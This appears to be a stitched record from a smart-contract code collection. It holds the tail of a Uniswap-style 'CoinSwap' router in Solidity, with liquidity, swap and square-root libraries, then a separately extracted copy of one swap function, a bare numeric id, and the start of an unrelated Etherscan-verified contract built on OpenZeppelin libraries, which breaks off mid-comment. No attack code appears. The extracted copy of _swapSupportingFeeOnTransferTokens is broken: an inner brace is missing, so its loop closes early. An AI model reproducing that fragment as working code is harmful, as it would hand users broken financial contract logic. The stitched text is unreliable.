require(amountBOptimal >= amountBMin, 'CSWP:31'); (amountA, amountB) = (amountADesired, amountBOptimal); } else { uint amountAOptimal = (amountBDesired *reserveA) / reserveB; assert(amountAOptimal <= amountADesired); require(amountAOptimal >= amountAMin, 'CSWP:32'); (amountA, amountB) = (amountAOptimal, amountBDesired); } } } function addLiquidity( address tokenA, address tokenB, uint amtADesired, uint amtBDesired, uint amtAMin, uint amtBMin, address to, uint deadline, uint224 circle ) external virtual ensure(deadline) returns (uint amtA, uint amtB, uint liquidity) { address pair; (amtA, amtB, pair) = _addLiquidity(tokenA, tokenB, amtADesired, amtBDesired, amtAMin, amtBMin, circle); TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amtA); TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amtB); liquidity = CoinSwapPair(pair).mint(to); } function addLiquidityETH( address token, uint amtTokenDesired, uint amtTokenMin, uint amtETHMin, address to, uint deadline, uint224 circle ) external virtual payable ensure(deadline) returns (uint amtToken, uint amtETH, uint liquidity) { address pair; (amtToken, amtETH, pair) = _addLiquidity(token,WETH,amtTokenDesired,msg.value,amtTokenMin,amtETHMin,circle); TransferHelper.safeTransferFrom(token, msg.sender, pair, amtToken); IWETH(WETH).deposit{value: amtETH}(); assert(IWETH(WETH).transfer(pair, amtETH)); liquidity = CoinSwapPair(pair).mint(to); // refund dust eth, if any if (msg.value > amtETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amtETH); } // **** REMOVE LIQUIDITY **** // For OCI market, we do not have specific remove liquidity function // but one can remove a pair by providing OCI-ed addresses function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amtAMin, uint amtBMin, address to, uint deadline ) public virtual ensure(deadline) returns (uint amountA, uint amountB) { address pair = CoinSwapLibrary.pairFor(factory, tokenA, tokenB); CoinSwapPair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair uint192 amount = CoinSwapPair(pair).burn(to); (amountA, amountB) = tokenA < tokenB ? (uint(amount>>96), uint(uint96(amount))) : (uint(uint96(amount)), uint(amount>>96)); require((amountA >= amtAMin) && (amountB >= amtBMin), 'CSWP:33'); } function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) public virtual ensure(deadline) returns (uint amountToken, uint amountETH) { (amountToken, amountETH) = removeLiquidity( token, WETH, liquidity, amountTokenMin, amountETHMin, address(this), deadline ); TransferHelper.safeTransfer(token, to, amountToken); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual returns (uint amountA, uint amountB) { address pair = CoinSwapLibrary.pairFor(factory, tokenA, tokenB); uint value = approveMax ? uint(-1) : liquidity; CoinSwapPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); (amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline); } function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual returns (uint amountToken, uint amountETH) { address pair = CoinSwapLibrary.pairFor(factory, token, WETH); uint value = approveMax ? uint(-1) : liquidity; CoinSwapPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); (amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline); } // **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) **** function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) public virtual ensure(deadline) returns (uint amountETH) { (, amountETH) = removeLiquidity( token, WETH, liquidity, amountTokenMin, amountETHMin, address(this), deadline ); TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this))); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual returns (uint amountETH) { address pair = CoinSwapLibrary.pairFor(factory, token, WETH); uint value = approveMax ? uint(-1) : liquidity; CoinSwapPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); amountETH = removeLiquidityETHSupportingFeeOnTransferTokens( token, liquidity, amountTokenMin, amountETHMin, to, deadline ); } // **** SWAP **** // requires the initial amount to have already been sent to the first pair function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); uint amountOut = amounts[i + 1]; (uint amount0Out, uint amount1Out) = input < output ? (uint(0), amountOut) : (amountOut, uint(0)); address to = i < path.length - 2 ? CoinSwapLibrary.pairFor(factory, output, path[i + 2]) : _to; CoinSwapPair(CoinSwapLibrary.pairFor(factory, input, output)).swap( uint192((amount0Out<<96) | amount1Out), to, new bytes(0)); } } function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual ensure(deadline) returns (uint[] memory amounts) { amounts = CoinSwapLibrary.getAmountsOut(factory, amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'CSWP:34'); TransferHelper.safeTransferFrom( path[0], msg.sender, CoinSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external virtual ensure(deadline) returns (uint[] memory amounts) { amounts = CoinSwapLibrary.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, 'CSWP:35'); TransferHelper.safeTransferFrom( path[0], msg.sender, CoinSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'CSWP:36'); amounts = CoinSwapLibrary.getAmountsOut(factory, msg.value, path); require(amounts[amounts.length - 1] >= amountOutMin, 'CSWP:37'); IWETH(WETH).deposit{value: amounts[0]}(); assert(IWETH(WETH).transfer(CoinSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0])); _swap(amounts, path, to); } function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external virtual ensure(deadline) returns (uint[] memory amounts) { require(path[path.length - 1] == WETH, 'CSWP:38'); amounts = CoinSwapLibrary.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, 'CSWP:39'); TransferHelper.safeTransferFrom( path[0], msg.sender, CoinSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amounts[amounts.length - 1]); TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]); } function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual ensure(deadline) returns (uint[] memory amounts) { require(path[path.length - 1] == WETH, 'CSWP:40'); amounts = CoinSwapLibrary.getAmountsOut(factory, amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'CSWP:41'); TransferHelper.safeTransferFrom( path[0], msg.sender, CoinSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amounts[amounts.length - 1]); TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]); } function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external virtual payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'CSWP:42'); amounts = CoinSwapLibrary.getAmountsIn(factory, amountOut, path); require(amounts[0] <= msg.value, 'CSWP:43'); IWETH(WETH).deposit{value: amounts[0]}(); assert(IWETH(WETH).transfer(CoinSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0])); _swap(amounts, path, to); // refund dust eth, if any if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]); } // **** SWAP (supporting fee-on-transfer tokens) **** // requires the initial amount to have already been sent to the first pair function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); CoinSwapPair pair = CoinSwapPair(CoinSwapLibrary.pairFor(factory, input, output)); uint amountInput; uint amountOutput; { // scope to avoid stack too deep errors (uint reserveInput, uint reserveOutput, uint mulambda) = CoinSwapLibrary.getReservesAndmu(factory, input, output); amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput); amountOutput = CoinSwapLibrary.getAmountOut(amountInput, reserveInput, reserveOutput, mulambda); } (uint amount0Out, uint amount1Out) = input < output ? (uint(0), amountOutput) : (amountOutput, uint(0)); address to = i < path.length - 2 ? CoinSwapLibrary.pairFor(factory, output, path[i + 2]) : _to; pair.swap(uint192(amount0Out<<96 | amount1Out), to, new bytes(0)); } } function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual ensure(deadline) { TransferHelper.safeTransferFrom( path[0], msg.sender, CoinSwapLibrary.pairFor(factory, path[0], path[1]), amountIn ); uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to); _swapSupportingFeeOnTransferTokens(path, to); require( IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'CSWP:44' ); } function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual payable ensure(deadline) { require(path[0] == WETH, 'CSWP:45'); uint amountIn = msg.value; IWETH(WETH).deposit{value: amountIn}(); assert(IWETH(WETH).transfer(CoinSwapLibrary.pairFor(factory, path[0], path[1]), amountIn)); uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to); _swapSupportingFeeOnTransferTokens(path, to); require( IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'CSWP:46' ); } function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual ensure(deadline) { require(path[path.length - 1] == WETH, 'CSWP:47'); TransferHelper.safeTransferFrom( path[0], msg.sender, CoinSwapLibrary.pairFor(factory, path[0], path[1]), amountIn ); _swapSupportingFeeOnTransferTokens(path, address(this)); uint amountOut = IERC20(WETH).balanceOf(address(this)); require(amountOut >= amountOutMin, 'CSWP:48'); IWETH(WETH).withdraw(amountOut); TransferHelper.safeTransferETH(to, amountOut); } function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut, uint mulambda) public pure returns (uint amountOut) { return CoinSwapLibrary.getAmountOut(amountIn, reserveIn, reserveOut, mulambda); } function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut, uint mulambda) public pure returns (uint amountIn) { return CoinSwapLibrary.getAmountIn(amountOut, reserveIn, reserveOut, mulambda); } function getAmountsOut(uint amountIn, address[] memory path) public view returns (uint[] memory amounts) { return CoinSwapLibrary.getAmountsOut(factory, amountIn, path); } function getAmountsIn(uint amountOut, address[] memory path) public view returns (uint[] memory amounts) { return CoinSwapLibrary.getAmountsIn(factory, amountOut, path); } } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'CSWP70'); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'CSWP71'); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'CSWP72'); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'CSWP73'); } } library CoinSwapLibrary { using SafeMath for uint; // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'08d6ace72c919d3777e7a6a0ae82941b79932ea4e7b37e16d8c04f7fd2783574' )))); } function getReservesAndmu(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB, uint mulambda) { (uint224 reserve, uint224 circleData) = CoinSwapPair(pairFor(factory, tokenA, tokenB)).getReserves(); uint reserve0 = uint(reserve>>128); uint reserve1 = uint(uint96(reserve>>32)); uint mulambda0 = uint(uint16(circleData >> 72))* uint56(circleData >> 160) * uint56(circleData); uint mulambda1 = uint(uint16(circleData >> 56))* uint56(circleData >> 104) * uint56(circleData); (reserveA, reserveB, mulambda) = tokenA < tokenB ? (reserve0,reserve1, (mulambda0<<128) | mulambda1 ):(reserve1,reserve0, (mulambda1<<128) | mulambda0); } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut, uint mulambda) internal pure returns (uint amountOut) { require((amountIn > 0) && (reserveOut > 0), 'CSWP:63'); uint mulambda0 = (mulambda>>128); uint mulambda1 = uint(uint128(mulambda)); uint Z = 10**37-(mulambda0 * reserveIn * 1000); uint R0=Z*Z; Z= 10**37-(mulambda1 * reserveOut * 1000); R0 += Z*Z; uint ZZ = uint(10**37).sub(mulambda0 * (1000*reserveIn + amountIn * 997)); R0 = R0.sub(ZZ*ZZ); R0 = SQRT.sqrt(R0); amountOut = R0.sub(Z) / (mulambda1 * 1000); if (amountOut > reserveOut) amountOut = reserveOut; } function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut, uint mulambda) internal pure returns (uint amountIn) { uint mulambda0 = (mulambda>>128); uint mulambda1 = uint(uint128(mulambda)); uint Z= 10**37-(mulambda1 * reserveOut * 1000); uint R1 = Z*Z; Z = 10**37-(mulambda0 * reserveIn * 1000); R1 += Z*Z; uint ZZ = 10**37-(mulambda1 * 1000* (reserveOut.sub(amountOut))); R1 =R1.sub(ZZ*ZZ); amountIn = 1+ (Z.sub(SQRT.sqrt(R1))) / (mulambda0 * 997) ; } function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'CSWP:65'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut, uint mulambda) = getReservesAndmu(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut, mulambda); } } function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'CSWP:66'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut, uint mulambda) = getReservesAndmu(factory, path[i-1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut, mulambda); } } } library SQRT { function sqrt(uint256 a) internal pure returns (uint256 x) { if (a > 3) { uint msbpos =0; uint b=a; if (b > 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) { msbpos += 128; b = b >> 128; } if (b > 0xFFFFFFFFFFFFFFFF) { msbpos += 64; b = b>>64; } if (b > 0xFFFFFFFF ) { msbpos += 32; b = b>>32; } if (b > 0xFFFF ) { msbpos += 16; b = b>>16; } if (b > 0xFF ) { msbpos += 8; b = b>>8; } if (b > 0xF ) { msbpos += 4; } msbpos += 4; uint256 x0=a; uint X=((a >> 1) + 1); uint Y=2**(msbpos/2); x = X< Y ? X : Y; while (x < x0 ) { x0 = x; x = (a / x0 + x0) >> 1; } } else if (a != 0) { x = 1; } } } library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } }
SWAP (supporting fee-on-transfer tokens) requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); CoinSwapPair pair = CoinSwapPair(CoinSwapLibrary.pairFor(factory, input, output)); uint amountInput; uint amountOutput; (uint reserveInput, uint reserveOutput, uint mulambda) = CoinSwapLibrary.getReservesAndmu(factory, input, output); amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput); amountOutput = CoinSwapLibrary.getAmountOut(amountInput, reserveInput, reserveOutput, mulambda); } (uint amount0Out, uint amount1Out) = input < output ? (uint(0), amountOutput) : (amountOutput, uint(0)); address to = i < path.length - 2 ? CoinSwapLibrary.pairFor(factory, output, path[i + 2]) : _to; pair.swap(uint192(amount0Out<<96 | amount1Out), to, new bytes(0)); }
6,170,221
/** *Submitted for verification at Etherscan.io on 2020-12-04 */ // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these 